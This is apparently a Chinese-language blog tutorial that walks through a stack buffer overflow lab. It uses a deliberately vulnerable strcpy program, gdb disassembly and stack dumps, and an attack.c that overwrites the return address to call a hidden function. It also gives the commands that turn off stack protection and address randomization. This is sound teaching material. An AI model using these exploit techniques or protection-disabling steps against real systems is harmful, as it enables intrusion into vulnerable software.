`
malixxx
  • 浏览: 97635 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

缓冲区溢出利用的简单例子

阅读更多
缓冲区溢出利用的简单例子

gcc从版本4以后就已经加上了缓冲区溢出攻
击的保护机制(这个以后再讲),所以在gcc的4版本以上进行实验的读者,可以在编译时加上-fno-stack-protector选项来关闭缓冲区溢   -fno-stack-protector这个编译的时候可以不加.
出保护。当然,也可以在更低版本的gcc中实现。

可能每一次gdb调试,分配给程序的虚拟地址空间都不一样,这就给初次做实验的读者构成了很大的不便,可以执行这个
命令echo "0" >  /proc/sys/kernel/randomize_va_space


问题如下:
1.       ../sysdeps/i386/elf/start.S: No such file or directory.
        in ../sysdeps/i386/elf/start.S

是因为在编译时没有加-g 引起,加上后就正常了。

2.在gdb中调试时,变量踪跟
print accum
打印出的值是不正确的(129302998或者是-1749387483),就像我没给它初始化一样,
就算我用print accum=5后,再print accum,也没用的,还是不对,网上查来查去都找不到。
但是我编译出的程序是可以正常运行的,就是gdb 调试不正常,我怀疑是gdb的问题。
先前,我把GCC升级了(4.1.0),而gdb仍然是老版本5.3,所以我下了一个gdb6.6,安装后就正常了。

gdb命令描述
file 装入想要调试的可执行文件.
kill 终止正在调试的程序.
list 列出产生执行文件的源代码的一部分.
next 执行一行源代码但不进入函数内部.
step 执行一行源代码而且进入函数内部.
run 执行当前被调试的程序
quit 终止 gdb
watch 使你能监视一个变量的值而不管它何时被改变.
break 在代码里设置断点, 这将使程序执行到这里时被挂起.
make 使你能不退出 gdb 就可以重新产生可执行文件.
shell 使你能不离开 gdb 就执行 UNIX shell 命令. 


利用缓冲区溢出调用bar函数
有个漏洞程序:

#include "stdio.h"
#include "string.h"
void copyout(const char *input){
    char buf[10];
    strcpy(buf,input);
    printf("%s \n",buf);
};

void bar(void){
    printf("being hacked\n");
}

int main(int argc,char *argv[]){
    copyout(argv[1]);
    return 0;
}



利用缓冲区溢出调用bar函数

[dorainm@dorainm lab1]$ vi lab1.c
//编译运行
[dorainm@dorainm lab1]$ gcc lab1.c -o lab1
[dorainm@dorainm lab1]$ ls
lab1  lab1.c
[dorainm@dorainm lab1]$ ./lab1 dorainm
dorainm
[dorainm@dorainm lab1]$


现在我们加入 -ggdb 参数,重新编译,然后用 gdb进行调试
[dorainm@dorainm lab1]$ gcc -g lab1.c -o lab1
[dorainm@dorainm lab1]$ gdb lab1
GNU gdb Red Hat Linux (6.3.0.0-1.122rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) disassemble copyout              
Dump of assembler code for function copyout:
0x080483e4 <copyout+0>: push   %ebp                   copyout方法的开始位置
0x080483e5 <copyout+1>: mov    %esp,%ebp
0x080483e7 <copyout+3>: sub    $0x18,%esp
0x080483ea <copyout+6>: mov    0x8(%ebp),%eax
0x080483ed <copyout+9>: mov    %eax,0x4(%esp)
0x080483f1 <copyout+13>:        lea    0xfffffff6(%ebp),%eax
0x080483f4 <copyout+16>:        mov    %eax,(%esp)
0x080483f7 <copyout+19>:        call   0x8048330 <__gmon_start__@plt+16>
0x080483fc <copyout+24>:        lea    0xfffffff6(%ebp),%eax
0x080483ff <copyout+27>:        mov    %eax,0x4(%esp)
0x08048403 <copyout+31>:        movl   $0x8048500,(%esp)
0x0804840a <copyout+38>:        call   0x8048310
0x0804840f <copyout+43>:        leave
0x08048410 <copyout+44>:        ret
End of assembler dump.
(gdb) disassemble bar                     
Dump of assembler code for function bar:
0x08048411 <bar+0>:     push   %ebp                    bar方法的开始位置
0x08048412 <bar+1>:     mov    %esp,%ebp
0x08048414 <bar+3>:     sub    $0x8,%esp
0x08048417 <bar+6>:     movl   $0x8048505,(%esp)
0x0804841e <bar+13>:    call   0x80482f0
0x08048423 <bar+18>:    leave
0x08048424 <bar+19>:    ret
End of assembler dump.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048425 <main+0>:    lea    0x4(%esp),%ecx
0x08048429 <main+4>:    and    $0xfffffff0,%esp
0x0804842c <main+7>:    pushl  0xfffffffc(%ecx)
0x0804842f <main+10>:   push   %ebp
0x08048430 <main+11>:   mov    %esp,%ebp
0x08048432 <main+13>:   push   %ecx
0x08048433 <main+14>:   sub    $0x4,%esp
0x08048436 <main+17>:   mov    0x4(%ecx),%eax
0x08048439 <main+20>:   add    $0x4,%eax
0x0804843c <main+23>:   mov    (%eax),%eax
0x0804843e <main+25>:   mov    %eax,(%esp)
0x08048441 <main+28>:   call   0x80483e4 <copyout>
0x08048446 <main+33>:   mov    $0x0,%eax
0x0804844b <main+38>:   add    $0x4,%esp
0x0804844e <main+41>:   pop    %ecx
0x0804844f <main+42>:   pop    %ebp
0x08048450 <main+43>:   lea    0xfffffffc(%ecx),%esp
0x08048453 <main+46>:   ret
End of assembler dump.
(gdb)
gdb返汇编了copyout3,bar,main,个函数,可以获得3个函数的起始地址,比如我们需要跳到的
bar 函数是0x08048411 的位置,我们要设法把 eip 变成这个值,方法可以直接往 copyout里面10个字节大小的缓冲区填充,让它溢出,把返回的 eip 地址覆盖成 0x08048411,就可以完成革命任务了!

我们在 main 函数处设置断点,然后单步跟踪,看看copyout怎么申明内存空间怎么复制的:)
//设置断点
(gdb) break main
Breakpoint 1 at 0x8048425: file lab1.c, line 17.
//运行,参数是7个字符的dorainm
(gdb) run dorainm     dorainm为参数
The program being debugged has been started already.
Start it from the beginning? (y or n) y
warning: cannot close "shared object read from target memory": 文件格式错误

Starting program: /home/dorainm/studio/c/exploit/mine/lab1/lab1 dorainm
Reading symbols from shared object read from target memory...done.
Loaded system supplied DSO at 0x323000

Breakpoint 1, main (argc=Cannot access memory at address 0xa2203d7
) at lab1.c:17
17      {
//开始单步跟踪
(gdb) step
main (argc=2, argv=0xbf8a99a4) at lab1.c:18
18              copyout(argv[1]);
//现在我们在main函数里面,argc值是2,main函数的行参在esp入栈后,然后call主函数main的,我们查看寄存器状态可以看到
(gdb) i r
eax            0xbf8a99a4       -1081435740
ecx            0xbf8a9920       -1081435872
edx            0x2      2
ebx            0x9edff4 10412020
esp            0xbf8a9900       0xbf8a9900
ebp            0xbf8a9908       0xbf8a9908
esi            0x8b7cc0 9141440
edi            0x0      0
eip            0x8048436        0x8048436
//main函数中的0x08048436 <main+17>:   mov    0x4(%ecx),%eax
eflags         0x200286 2097798
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
//进入copyout之后
//0x08048441 <main+28>:   call   0x80483e4 <copyout>
(gdb) step
copyout (input=0xbf8ab97a "dorainm") at lab1.c:7
7               strcpy(buf,input);
//看看寄存器的变化
(gdb) i r
eax            0xbf8ab97a       -1081427590
ecx            0xbf8a9920       -1081435872
edx            0x2      2
ebx            0x9edff4 10412020
esp            0xbf8a98e0       0xbf8a98e0
//另一个要关心的就是 esp了,我们看看copyout的ret返回main函数下一条指令的0x08048446 <main+33>:   mov    $0x0,%eax的eip值,
0x08048446 在栈中的位置,我们在下一步查看esp上下的内存单位
寄存器EBP、ESP、BP和SP称为指针寄存器(Pointer Register),
主要用于存放堆栈内存储单元的偏移量,用它们可实现多种存储器操作数的寻址方式,为以不同的地址形式访问存储单元提供方便。
ebp            0xbf8a98f8       0xbf8a98f8
esi            0x8b7cc0 9141440
edi            0x0      0
eip            0x80483ea        0x80483ea
//变成了copyout里面的0x080483ea <copyout+6>: mov    0x8(%ebp),%eax
指令指针EIP、IP(Instruction Pointer)是存放下次将要执行的指令在代码段的偏移量。
在具有预取指令功能的系统中,下次要执行的指令通常已被预取到指令队列中,除非发生转移情况。所以,在理解它们的功能时,不考虑存在指令队列的情况。
eflags         0x200282 2097794
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
---------------------------
检查内存值
x /NFU ADDR
---------------------------
N代表重复数
---------------------------
U
b :字节(byte)
h :双字节数值
w :四字节数值
g :八字节数值
---------------------------
F
'x' 16进制整数格式
'd' 有符号十进制整数格式
'u' 无符号十进制整数格式
'f' 浮点数格式
---------------------------
(gdb) x/50x 0xbf8a98a0             从0xbf8a98a0开始显示重复50个 x为16进制
0xbf8a98a0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbf8a98b0:     0x00000000      0x0177ff8e      0x00000000      0x00000000
0xbf8a98c0:     0x00000000      0x00000000      0x00000001      0x00000000
0xbf8a98d0:     0x00000000      0x00000000      0xbf8ab94c      0x08048370
//这儿就是栈顶了
0xbf8a98e0:     0x009edff4      0x080495f8      0xbf8a98f8      0x080482dd
0xbf8a98f0:     0x009eec80      0xbf8a99b0      0xbf8a9908      0x08048446
//上排最后一个,就是栈中保存着eip的位置,我们要覆盖到这个地址!
0xbf8a9900:     0xbf8ab97a      0xbf8a9920      0xbf8a9978      0x008d47e4
0xbf8a9910:     0x008b7cc0      0x0804845c      0xbf8a9978      0x008d47e4
0xbf8a9920:     0x00000002      0xbf8a99a4      0xbf8a99b0      0x008ab5bb
0xbf8a9930:     0x00000000      0xb7fac690      0x00000001      0x00000001
0xbf8a9940:     0x009edff4      0x008b7cc0      0x00000000      0xbf8a9978
0xbf8a9950:     0xb525dd5e      0x0a2203d7      0x00000000      0x00000000
0xbf8a9960:     0x00000000      0x008b09e0
//执行了strcpy,我们可以看到,dorianm被复制到的栈中的位置
(gdb) step             单步进到copyout方法中
8               printf("%s \n",buf);
(gdb) x/50x 0xbf8a98a0
0xbf8a98a0:     0x00000000      0x0804822a      0x00000000      0x08049614
0xbf8a98b0:     0x008c26d4      0x009edff4      0x008b7cc0      0x00000000
0xbf8a98c0:     0xbf8a98f8      0x008b09e0      0x00000002      0xbf8a9920
0xbf8a98d0:     0x00928b10      0x008b7cc0      0xbf8a98f8      0x080483fc
0xbf8a98e0:     0xbf8a98ee      0xbf8ab97a      0xbf8a98f8      0x6f6482dd
                                                                  od               dorainm输入的参数
0xbf8a98f0:     0x6e696172      0xbf8a006d      0xbf8a9908      0x08048446
                  niar          m                ebp             eip
main方法中的
0x08048441 <main+28>:   call   0x80483e4 <copyout>
0x08048446 <main+33>:   mov    $0x0,%eax

//dorainm被复制到栈的位置是这样子的,可以看出
//0xbf8a98ee-0xbf8a98f8 10个内存单元是char buf[10],接下来是保护现场入栈的ebp和eip
0xbf8a9900:     0xbf8ab97a      0xbf8a9920      0xbf8a9978      0x008d47e4
0xbf8a9910:     0x008b7cc0      0x0804845c      0xbf8a9978      0x008d47e4
0xbf8a9920:     0x00000002      0xbf8a99a4      0xbf8a99b0      0x008ab5bb
0xbf8a9930:     0x00000000      0xb7fac690      0x00000001      0x00000001
0xbf8a9940:     0x009edff4      0x008b7cc0      0x00000000      0xbf8a9978
0xbf8a9950:     0xb525dd5e      0x0a2203d7      0x00000000      0x00000000
0xbf8a9960:     0x00000000      0x008b09e0
//我们要自己构建一个19大小的字符串(最后一个单元为0,不然printf打印字符串的时候,不知道会在哪地方结束:),其中最后4位是 bar的入口eip,这样子,在copyout结束时,ret,pop eip,bar的地址就会写到eip中,程序就会运行bar函数了
//我们退出调试,编写攻击代码
(gdb)quit
[dorainm@dorainm lab1]$ vi attack.c

#include "stdio.h"

char code[]=
"\x41\x41\x41\x41\x41" /*buf, fill with 'A'*/
"\x41\x41\x41\x41\x41"
"\x42\x42\x42\x42" /*ebp, fill with 'B'*/
"\x11\x84\x04\x08" /*eip*/   先写低位
"\x00"; /*end*/

int main(void)
{
    char *arg[3];
    arg[0]="./lab1";
    arg[1]=code;
    arg[2]=NULL;
    execve(arg[0],arg,NULL);
    return 0;
}



//然后编译程序
[dorainm@dorainm lab1]$ gcc attack.c -o attack
//运行攻击程序
[dorainm@dorainm lab1]$ ./attack
AAAAAAAAAABBBB 
being hacked
段错误
//okay,攻击成功,执行了bar当中的代码(显示了being hacked)
//段错误的原因是,调用bar函数时候,没有保存其父函数的现场,所以没法恢复,程序在完成bar函数后,就不知道要去哪,所以出错:)
[dorainm@dorainm lab1]$
//结束,完成任
分享到:
评论

相关推荐

    缓冲区溢出详解

    本书定位于初学缓冲区溢出利用的读者;并照顾想学习缓冲区溢出技术的朋友。 本书的目的是用幽默的语言和通俗的解释,对 Windows 缓冲区溢出编程的思路和思维进行详细分析; 并用大量实例对溢出的实际利用进行一次又...

    Q版缓冲区溢出教程.doc

    本书定位于初学缓冲区溢出利用的读者;并照顾想学习缓冲区溢出技术的朋友。 本书的目的是用幽默的语言和通俗的解释,对Windows缓冲区溢出编程的思路和思维进行详细分析;并用大量实例对溢出的实际利用进行一次又一次...

    Q版缓冲区溢出教程-场景教程

    1.5 窥豹一斑――本地缓冲区溢出简单利用 21 1.6 小结——摘自小强的日记 28 1.7 首次实战――FoxMail溢出漏洞编写 29 1.8 牛刀小试――Printer溢出漏洞编写 41 1.9 JMP /CALL EBX——另一种溢出利用方式 42 1.10 拾...

    -Q版缓冲区溢出教程

    本书定位于初学缓冲区溢出利用的读者;并照顾想学习缓冲区溢出技术的朋友。 本书的目的是用幽默的语言和通俗的解释,对Windows缓冲区溢出编程的思路和思维进行详细分析;并用大量实例对溢出的实际利用进行一次又...

    Q版缓冲区溢出教程.PDF

    缓冲区溢出是安全论坛上最常见的问题,包括堆栈缓冲区的利用思想,ShellCode的初步编写、变形、高级利用,以及堆溢出的利用,漏洞的亲自分析等。当然,每个部分都有大量的实例,让大家实际操作,学以致用。 后一章都...

    Q版缓冲区溢出教程

    本书定位于初学缓冲区溢出利用的读者;并照顾想学习缓冲区溢出技术的朋友。 本书的目的是用幽默的语言和通俗的解释,对 Windows 缓冲区溢出编程的思路和思维进行详细分析; 并用大量实例对溢出的实际利用进行一次又一次...

    Win32 缓冲区溢出实战(PDF)

    以下我将用一个具体的简单例子,详细分析漏洞的发现挖掘、调试以及exploit编写利用,这里选择'War-FTPdvl.65' 的一个stack缓冲区溢出漏洞。 首先,需要准备以下实战工具: python - www.python.org pyOpenSSL - ...

    《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例文档

    本文主要以《深入理解计算机》3.38题为例,详细地介绍了该题目的解题过程,主要目的是利用程序缓冲区溢出以达到改变程序的输出(攻击程序)。 要解决这类题目,需要对过程调用的栈帧变化、指令的作用有较深入的了解...

    《Q版缓冲区溢出》教程+全打包源代码.rar

    本书定位于初学缓冲区溢出利用的读者;并照顾想学习缓冲区溢出技术的朋友。本书的目的是用幽默的语言和通俗的解释,对Windows缓冲区溢出编程的思路和思维进行详细分析;并用大量实例对溢出的实际利用进行一次又一次...

    原稿是《黑手缓冲区溢出教程》资源是一个叫美丽の破船的人打出来了,感谢他的工作,我也学习到了很多的东西,所以推荐给大家,特别是做C++码砖头的小程序员来说!另外还有美丽破船码的程序。

    1.5 窥豹一斑――本地缓冲区溢出简单利用 21 1.6 小结——摘自小强的日记 28 1.7 首次实战――FoxMail溢出漏洞编写 29 1.8 牛刀小试――Printer溢出漏洞编写 41 1.9 JMP /CALL EBX——另一种溢出利用方式 42 1.10 拾...

    论文研究-基于多维Fuzzing的缓冲区溢出漏洞挖掘技术研究.pdf

    缓冲区溢出漏洞一直是计算机安全威胁中最为严重的漏洞之一,在黑客发现利用前检测出漏洞并及时修复极为重要;基于多维Fuzzing设计和实现了一种缓冲区溢出漏洞挖掘模型MFBOF,应用输入样本结构知识、结合静态二进制...

    网络渗透技术

    首先介绍了各种调试器和分析工具的简单使用,然后从各种操作系统的体系结构讲起,深入浅出地分析了相应平台的缓冲区溢出利用技术,接着介绍其高级shellcode技术,以及更深入的堆溢出利用技术等。除了用户层的利用...

    缓冲区溢出的原理和实践(Phrack)

    简 介在过去的几个月中,被发现和利用的缓冲区溢出漏洞呈现上升趋势.例如syslog,splitvt,sendmail8.7.5,Linux/FreeBSDmount,Xtlibrary,at等等.本文试图解释什么是缓冲区溢出,以及如何利用.汇编的基础知识是必需的.对...

    用堆栈卫士检测和阻止缓冲区溢出攻击的策略分析 (2002年)

    分析了黑客利用软件的缓冲区溢出漏洞如何进行攻击及堆栈卫士的防范机制,提出了两个目前堆栈卫士无法解决的缓冲区溢出攻击方式,并给出具体例子分析无法解决的原因。

    网络渗透技术下载 part1

    第2章 缓冲区溢出利用技术 第3章 Shellcode技术 第4章 堆溢出利用技术 第5章 格式化串漏洞利用技术 第6章 内核溢出利用技术 第7章 其他利用技术 第8章 系统漏洞发掘分析 第9章 CGI渗透测试技术 第10章 SQL注入利用...

    网络渗透技术下载 part2

    第2章 缓冲区溢出利用技术 第3章 Shellcode技术 第4章 堆溢出利用技术 第5章 格式化串漏洞利用技术 第6章 内核溢出利用技术 第7章 其他利用技术 第8章 系统漏洞发掘分析 第9章 CGI渗透测试技术 第10章 SQL注入利用...

    网络渗透技术下载 part3

    第2章 缓冲区溢出利用技术 第3章 Shellcode技术 第4章 堆溢出利用技术 第5章 格式化串漏洞利用技术 第6章 内核溢出利用技术 第7章 其他利用技术 第8章 系统漏洞发掘分析 第9章 CGI渗透测试技术 第10章 SQL注入利用...

Global site tag (gtag.js) - Google Analytics